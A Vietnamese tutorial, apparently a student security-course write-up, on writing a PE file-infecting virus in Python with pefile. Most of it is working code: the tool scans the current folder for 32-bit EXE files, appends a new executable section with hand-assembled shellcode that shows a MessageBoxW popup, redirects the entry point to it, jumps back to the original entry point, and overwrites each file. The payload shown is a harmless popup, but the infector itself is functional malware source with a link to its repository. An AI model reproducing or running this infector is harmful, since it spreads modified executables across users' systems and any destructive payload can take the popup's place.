Với kỹ thuật chèn cuối này thì mình sẽ có 2 phần: phần chèn vào 1 file PE có sẵn và phần lây nhiễm cho các file PE trong cùng 1 thư mục nếu 1 file PE đã bị nhiễm được kích hoạt.
Phần 1: Áp dụng kỹ thuật chèn cuối
Với phần này thì mình sẽ sử dụng ngôn ngữ python cùng với thư viện pefile để tạo 1 chương trình virus chèn payload vào cuối chương trình mục tiêu. Chương trình của mình sẽ là tạo 1 section và chèn nó vào cuối file mục tiêu sau đó ghi payload vào vùng section mới tạo này. Khi thực thi chương trình đã bị nhiễm thì nó sẽ hiện popup với nội dung mình muốn và sau đó sẽ quay lại thực thi chương trình bình thường.
Về source code mình đã viết các bạn có thể tham khảo tại:
https://github.com/trisngo/simple-file-infecting-virus/tree/main/appending_virus
Nội dung cụ thể
Main
Đầu tiên mình sẽ quét tất cả các file trong thư mục hiện tại và xác định nó có phải là file thực thi exe hay không. Sau đó với từng file thì mình sẽ kiểm tra xem nó có kiến trúc là 64bit hay không, nếu là 64bit thì chương trình của mình không thể chèn được. Kiểm tra tiếp nó có đã được chèn rồi hay không bằng cách kiểm tra xem có section mới mà mình đã tạo có tên là .test hay chưa, nếu chưa thì sẽ được lây nhiễm, nếu rồi thì sẽ bỏ qua.
if __name__ == '__main__':
# lấy đường dẫn thư mục hiện tại
current_dir = getcwd()
# lấy tên từng file exe trong thư mục hiện tại
files_name = [f for f in listdir(current_dir) if (isfile(join(current_dir, f))&f.endswith(".exe"))]
for file in files_name:
# xác định tên của section cuối có phải là .test hay không
pe = pefile.PE(file)
lastSection = pe.sections[-1]
lastSectionName = lastSection.Name.decode('UTF-8').rstrip('\x00')
pe.close()
if pe.FILE_HEADER.Machine == 0x8664:
print(file + " is 64-bit => cannot infect")
elif lastSectionName == ".test":
print(file + " have " + lastSectionName + " section => no need to infect")
else:
print(file + " need to infect")
appendPayload(file)
Tạo 1 section mới
Tiếp theo đến với hàm appendPayload để ghi payload vào cuối chương trình. Đầu tiên hàm sử dụng thư viện pefile để tạo 1 đối tượng PE để thực hiện phân tích và ghi đè trở lại. Như đã nói, mình sẽ tạo 1 section mới để chèn nó vào file, mình sẽ gọi 1 hàm creatNewSection để tạo.
pe = pefile.PE(filePath)
print("\n------------Infecting " + filePath + "------------\n")
# tạo section mới
newSection = createNewSection(pe)
Hàm createNewSection như sau:
def createNewSection(pe):
# lấy section cuối
lastSection = pe.sections[-1]
# tạo 1 đối tượng section mới theo cấu trúc Section của file pe muốn lây nhiễm
newSection = pefile.SectionStructure(pe.__IMAGE_SECTION_HEADER_format__)
# cho dữ liệu của section mới tạo này mặc định bằng null hết
newSection.__unpack__(bytearray(newSection.sizeof()))
# đặt section header nằm ngay sau section header cuối cùng(giả sử có đủ khoảng trống)
newSection.set_file_offset(lastSection.get_file_offset() + lastSection.sizeof())
# gán tên Section mới là .test
newSection.Name = b'.test'
# cho section mới có kích thước 100 byte
newSectionSize = 100
newSection.SizeOfRawData = align(newSectionSize, pe.OPTIONAL_HEADER.FileAlignment)
# gán raw address cho section mới
newSection.PointerToRawData = len(pe.__data__)
print("New section raw address is 0x%08x" % (newSection.PointerToRawData))
# gán kích thước cho Virtual Address của section mới
newSection.Misc = newSection.Misc_PhysicalAddress = newSection.Misc_VirtualSize = newSectionSize
# gán địa chỉ ảo cho section mới
newSection.VirtualAddress = lastSection.VirtualAddress + align(lastSection.Misc_VirtualSize, pe.OPTIONAL_HEADER.SectionAlignment)
print("New section virtual address is 0x%08x" % (newSection.VirtualAddress))
newSection.Characteristics = 0xE0000040 # giá trị cờ cho phép read | execute | code
return newSection
Hàm này đầu tiên mình sẽ tạo 1 đối tượng section mới theo cấu trúc Section của file PE muốn lây nhiễm. Sau đó điều chỉnh các thuộc tính của section mới này như là địa chỉ header của section sẽ nằm sau section header cuối cùng, đặt tên cho section, cho nó có kích thước là 100 bytes để đủ chứa payload(sau đó có hàm căn chỉnh để phù hợp với file cần lây nhiễm), gán các raw address và virtual address cho section cùng với các thuộc tính Raw Size và Virtual Size, cuối cùng là cho nó giá trị cờ Characteristics với giá trị này thì section này được phép đọc, thực thi, ghi đè.
Tìm địa chỉ hàm MessageBoxW
Sau khi tạo và trả về 1 section mới thì mình sẽ đi tìm địa chỉ của hàm MessageBoxW là 1 hàm được import từ USER31.dll dùng để gọi cửa sổ popup với nội dung mong muốn.
Hàm findMsgBox như sau:
def findMsgBox(pe):
for entry in pe.DIRECTORY_ENTRY_IMPORT:
dll_name = entry.dll.decode('utf-8')
if dll_name == "USER32.dll":
for func in entry.imports:
if func.name.decode('utf-8') == "MessageBoxW":
print("Found \t%s at 0x%08x" % (func.name.decode('utf-8'), func.address))
return func.address
Với hàm này đầu tiên mình sẽ tìm các mục dll nằm trong bảng import của chương trình và xác định dll nào có tên là USER32.dll chứa hàm MessageBoxW. Sau khi xác định được, mình sẽ tìm tiếp xem các mục trong bảng import này với thông tin dll là USER32.dll có hàm nào là MessageBoxW hay không. Sau khi tìm dược mình sẽ trả địa chỉ của hàm này về.
Tính toán các địa chỉ
# tính VA của caption và text theo công thức RA – Section RA = VA – Section VA
captionRVA = 0x20 + newSection.VirtualAddress + pe.OPTIONAL_HEADER.ImageBase
textRVA = 0x46 + newSection.VirtualAddress + pe.OPTIONAL_HEADER.ImageBase
# tính relative virtual address của OEP để sử dụng nó với lệnh jump quay lại ban đầu
oldEntryPointVA = pe.OPTIONAL_HEADER.AddressOfEntryPoint + pe.OPTIONAL_HEADER.ImageBase
newEntryPointVA = newSection.VirtualAddress+ pe.OPTIONAL_HEADER.ImageBase
jmp_instruction_VA = newEntryPointVA + 0x14
RVA_oep = oldEntryPointVA - 5 - jmp_instruction_VA
Đầu tiên mình biết được mình sẽ đặt payload ngay đầu section mới do đó thì offset của payload cũng là offset của section đó luôn (chính là section raw address). Chính vì vậy các raw address của phần data mà chứa nội dung caption và text cũng sẽ có địa chỉ cách địa chỉ Section Raw Address 1 khoảng nhất định. Mình biết rằng phần payload thực thi sẽ có kích thước dưới 0x20 byte do đó mình sẽ đặt caption tại vị trí 0x20 (offset của caption là 0x20) và dựa vào nội dung caption mình cũng biết được khoảng cách của nó với Section Raw Address. Cùng với công thức về mối liên hệ giữa offset Raw Address và Virtual Address:
💡
Offset = RA – Section RA = VA – Section VA
Mình sẽ tìm được 2 địa chỉ ảo của 2 vùng caption và text này. Sau đó cộng với ImageBase mình sẽ có được Relative Virtual Address của 2 vùng để shellcode thực thì biết được nơi lưu 2 vùng dữ liệu này khi chương trình thực thi. Tiếp theo mình sẽ tính RVA của Original Entry Point để đưa nó vào lệnh jump thêm vào shellcode. Với lệnh jump và địa chỉ tính được mình sẽ quay trở về được địa chỉ ban đầu và thực thi chương trình bình thường. Đối với lệnh jmp, đích đến (old_entry_point) sẽ được tính bằng cách cộng giá trị relative_VA vào thanh ghi PC khi lệnh được thực thi. Bởi vì PC luôn trỏ đến vị trí đầu cảu câu lệnh kế tiếp, cho nên cần phải tính 5 bytes của câu lệnh jmp nữa. Ta có công thức như sau:
💡
old_entry_point = jmp_instruction_VA + 5 + relative_VA
Nếu đặt lệnh jmp sau 5 câu lệnh trước đó trong shellcode thì mình sẽ cộng thêm 0x14 (5*4) vào jmp_instruction_VA.
Tạo payload gồm shellcode và nội dung Caption, Text
def generatePayload(msgBoxOff, oep, captionRVA, textRVA, Size):
'''
caption: Infetion by NT230:
\x49\x00\x6E\x00\x66\x00\x65\x00\x63\x00\x74\x00\x69\x00\x6F\x00\x6E\x00\x20
\x00\x62\x00\x79\x00\x20\x00\x4E\x00\x54\x00\x32\x00\x33\x00\x30\x00\x00\x00
text: 19521044_19521190_19520588:
\x31\x00\x39\x00\x35\x00\x32\x00\x31\x00\x30\x00\x34\x00\x34\x00\x5F\x00\x31\x00\x39\x00\x35\x00\x32\x00
\x31\x00\x31\x00\x39\x00\x30\x00\x5F\x00\x31\x00\x39\x00\x35\x00\x32\x00\x30\x00\x35\x00\x38\x00\x38
'''
capLittle = captionRVA.to_bytes(4, 'little')
textLittle = textRVA.to_bytes(4, 'little')
msgBoxLittle = msgBoxOff.to_bytes(4, 'little')
oepLittle = oep.to_bytes(4, byteorder='little', signed=True)
payload = b'\x6a\x00\x68'+ capLittle+ b'\x68' + textLittle + b'\x6a\x00\xff\x15'+ msgBoxLittle +b'\xe9'+ oepLittle +b'\x00\x00\x00\x00\x00\x00\x00'
payload += b'\x49\x00\x6E\x00\x66\x00\x65\x00\x63\x00\x74\x00\x69\x00\x6F\x00\x6E\x00\x20\x00\x62\x00\x79\x00\x20\x00\x4E\x00\x54\x00'
payload += b'\x32\x00\x33\x00\x30\x00\x00\x00\x31\x00\x39\x00\x35\x00\x32\x00\x31\x00\x30\x00\x34\x00\x34\x00\x5F\x00\x31\x00\x39\x00'
payload += b'\x35\x00\x32\x00\x31\x00\x31\x00\x39\x00\x30\x00\x5F\x00\x31\x00\x39\x00\x35\x00\x32\x00\x30\x00\x35\x00\x38\x00\x38'
# print(payload)
return payload
Với các địa chỉ có dược mình dễ dàng tạo được payload gồm phần thực thi và nội dung caption text theo đúng khoảng cách mong muốn (sử dụng null \x00 để tạo khoảng cách mong muốn, giữa 2 text cần có kí tự null để biết được đã kết thúc chuỗi hay chưa).
Với phần shellcode thực thi thì mình sẽ tạo payload theo opcode tương ứng với các lệnh assembly khi gọi MessageBoxW:
push 0 ; 6a 00
push Caption ; 68 [địa chỉ Caption LittleEdian]
push Text ; 68 [địa chỉ Text LittleEdian]
push 0 ; 6a00
call [MessageBoxW] ; ff15 [địa chỉ MessageBoxW LittleEdian]
jmp Origianl_Entry_Point ; e9 [địa chỉ OEP LittleEdian
Cuối cùng sau khi chuẩn bị payload xong thì mình sẽ đặt nó vào 1 đối tượng lưu dưới dạng bytearray để sau này ghi vào phần data của file (pefile dùng bytearray để lưu byte vào). Điều chỉnh EntryPoint thành VA của section mới, tăng kích thước của File ứng với section vừa thêm, tăng số lượng section và sau đó thêm section mới này vào cuối.
Cuối cùng chuyển tất cả nội dung của file pe đã thêm section và payload vào cuối thành byte và ghi đè lên file gốc, vậy là đã hoàn thành việc lây nhiễm bằng cách chèn vào cuối.
# tạo 1 đối tượng bytearray để lưu payload
dataOfNewSection = bytearray(newSection.SizeOfRawData)
for i in range(len(payload)):
dataOfNewSection[i]=payload[i]
# điều chỉnh Entry Point
pe.OPTIONAL_HEADER.AddressOfEntryPoint = newSection.VirtualAddress
# Tăng kích thước Size of Image thêm 100
pe.OPTIONAL_HEADER.SizeOfImage += align(100, pe.OPTIONAL_HEADER.SectionAlignment)
# tăng số lượng section
pe.FILE_HEADER.NumberOfSections += 1
# thêm section mới vào sau file
pe.sections.append(newSection)
pe.__structures__.append(newSection)
# thêm dữ liệu của section mới vào vùng section mới thêm vào
pe.__data__ = bytearray(pe.__data__) + dataOfNewSection
# ghi dữ liệu và đóng file
pe.write(filePath)
pe.close()
print(filePath + " was infected.")
Thực hiện
Mình sẽ chuyển script python thành 1 file pe thực thi bằng cách sử dụng pyinstaller:
Sau khi chuyển thành file thực thi thì mình sẽ thực thi nó chung thư mục với 1 file pe 32bit là calc.exe.
Trước khi lây nhiễm:
Sau khi lây nhiễm:
Kiểm tra chương trình bằng HxD thì thấy có phần payload của mình đã chèn vào cuối chương trình.